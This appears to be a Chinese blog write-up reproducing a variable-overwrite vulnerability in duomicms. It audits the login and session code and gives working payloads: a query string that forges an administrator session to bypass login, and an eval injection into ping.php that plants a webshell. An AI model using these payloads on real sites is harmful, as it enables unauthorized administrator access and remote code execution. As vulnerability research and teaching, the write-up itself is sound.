duomicms 变量覆盖漏洞复现

目标

在不知道后台账户密码的情况下进入管理员后台

全局搜索*$$*

在这里插入图片描述

  • 其中先发现id=83、88、92的文件中存在foreach遍历,优先查看

文件common.php

第52-55行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
  • 首先通过遍历包含'_GET','_POST','_COOKIE'的数组,依次赋值给变量$_request
foreach($$_request as $_k => $_v)
  • $$_request代表的是含有全局变量($_GET、$_POST、$_COOKIE)数组
  • 动态的调用对应的全局变量,将每个数组元素的键值对分别赋值为$_k$_v
${$_k} = _RunMagicQuotes($_v);
  • 根据$_k的值动态的创建变量,并将经过函数_RunMagicQuotes处理后的$_v的值赋给,这个变量${$_k}
    • 其中_RunMagicQuotes为处理参数中魔术引号的函数
第28-34行
foreach($_REQUEST as $_k=>$_v) //循环遍历$_REQUEST变量,每个数组元素的键值对分别赋值为`$_k`和`$_v`
{
	if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
	{
		exit('Request var not allow!');
	}
}
  • 首先循环遍历变量 R E Q U E S T ,每个数组元素的键值对分别赋值为 ‘ _REQUEST,每个数组元素的键值对分别赋值为` REQUEST,每个数组元素的键值对分别赋值为_k$_v`
  • 判断键名$_k,如果键名不为空且以cfg_|GLOBALS开头,并在COOKIE中没有设置相应的值,则终止程序,返回信息非法参数
总结

文件common.php,通用模块文件,可能是一个对外部提交的参数做处理的文件,暂时没有问题,可以先查看哪些文件调用了这个文件

全局搜索common.php

在这里插入图片描述

  • 由于我们的目的是进行后台,优先查看/admin/目录下的文件

文件config.php

第27-33行
//检验用户登录状态
$cuserLogin = new userLogin(); //实例化了一个userLogin类的对象
if($cuserLogin->getUserID()==-1)
{
	header("location:login.php?gotopage=".urlencode($EkNowurl));
	exit();
}
  • 发现有个处理用户登录状态的语句
  • getUserID()==-1时执行跳转功能
  • 定位查看userLogingetUserID()
    • 文件check.admin.php

文件check.admin.php

第34-43行
	var $userName = '';
	var $userPwd = '';
	var $userID = '';
	var $adminDir = '';
	var $groupid = '';
	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";
  • 其中发现三个变量$keepUserIDTag,$keepgroupidTag,$keepUserNameTag
  • 推测可能是用于存储用户id、用户组id、用户名的变量
第72行
	//检验用户是否正确
	function checkUser($username,$userpwd)
  • 发现是一个检查用户的函数
  • 继续审计
第77-79行
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
  • 规定用户名密码,并对输入的密码进行了md5加密
第80-81行
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
  • 通过select方法,返回当前用户名且state='1'的数据
第82行
$row = $dsql->GetObject();
  • 一个获取数据库查询结果中的对象的方法

    	function GetObject($id="me")
    	{
    		if($this->result[$id]==0)
    		{
    			return false;
    		}
    		else
    		{
    			return mysql_fetch_object($this->result[$id]);
    		}
    	}
    
  • 即返回变量$id的结果集

  • 最后赋值给**$row**

第83-101行
		if(!isset($row->password))
		{
			return -1;
		}
		else if($pwd!=$row->password)
		{
			return -2;
		}
		else
		{
			$loginip = GetIP();
			$this->userID = $row->id;
			$this->groupid = $row->groupid;
			$this->userName = $row->name;
			$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
			$dsql->ExecuteNoneQuery($inquery);
			return 1;
		}
	}
  • 用于验证用户登录信息并获取用户id、用户组id、用户名以及更新IP
第105-124行
	//保持用户的会话状态
	//成功返回 1 ,失败返回 -1
	function keepUser()
	{
		if($this->userID!=""&&$this->groupid!="")
		{
			global $admincachefile;
			$_SESSION[$this->keepUserIDTag] = $this->userID;
			$_SESSION[$this->keepgroupidTag] = $this->groupid;
			$_SESSION[$this->keepUserNameTag] = $this->userName;

			$fp = fopen($admincachefile,'w');
			fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
			fclose($fp);
			return 1;  //登录成功
		}
		else
		{
			return -1; //登录失败
		}
	}
  • 当用户id和组id不为空时,将获取到的userIDgroupiduserName传递到SESSION中存储,以保持登录状态

思考

  • 我们可以通过修改session值,伪造管理员的身份进入后台
$fp = fopen($admincachefile, 'w');
fwrite($fp, '<?php $admin_path =' . " '{$this->adminDir}'; ?>");
fclose($fp);
  • 将管理员目录路径写入文件
第136行-146行
//获得用户的权限值
function getgroupid()
	{
		if($this->groupid!='')
		{
			return $this->groupid;
		}
		else
		{
			return -1;
		}
	}
  • 发现是一个获取权限值的函数
  • 我们可以查看有哪些权限

全局搜索$groupid

在这里插入图片描述

文件admin_manager.php

第101-110行
function getManagerLevel($groupid)
{
	if($groupid==1){
		return "系统管理员";
	}else if($groupid==2){
		return "网站编辑员";
	}else{
		return "未知类型";
	}
}
  • 发现组id为1时权限为系统管理员
  • 组id为2时权限为网站编辑员

思考

  • 所以此时我们可以利用组id=1来伪造管理员的身份
  • 而用户id和用户名发现做其他过滤,合理即可

相关代码

	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";
	+
	$_SESSION[$this->keepUserIDTag] = $this->userID;
	$_SESSION[$this->keepgroupidTag] = $this->groupid;
	$_SESSION[$this->keepUserNameTag] = $this->userName;
	||
  $_SESSION[duomi_admin_id]
  $_SESSION[duomi_group_id]
  $_SESSION[duomi_admin_name]
  • 通过变量覆盖进行构造

    _SESSION[duomi_admin_id]=10&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=zmh
    
  • 寻找可以使用session的文件

    • 包含session_start()

全局搜索session_start()

在这里插入图片描述

  • 发现其中有27个文件,进行筛选
    • 包含文件common.php

测试

文件comment.php
在这里插入图片描述

登录成功,进入后台

在这里插入图片描述

写马

在这里插入图片描述

payload

  • 查看ping.php文件,发现需要构造闭合
    在这里插入图片描述
123";eval($_REQUEST[6]);"

成功

在这里插入图片描述

获取webshell

在这里插入图片描述

  • 23
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值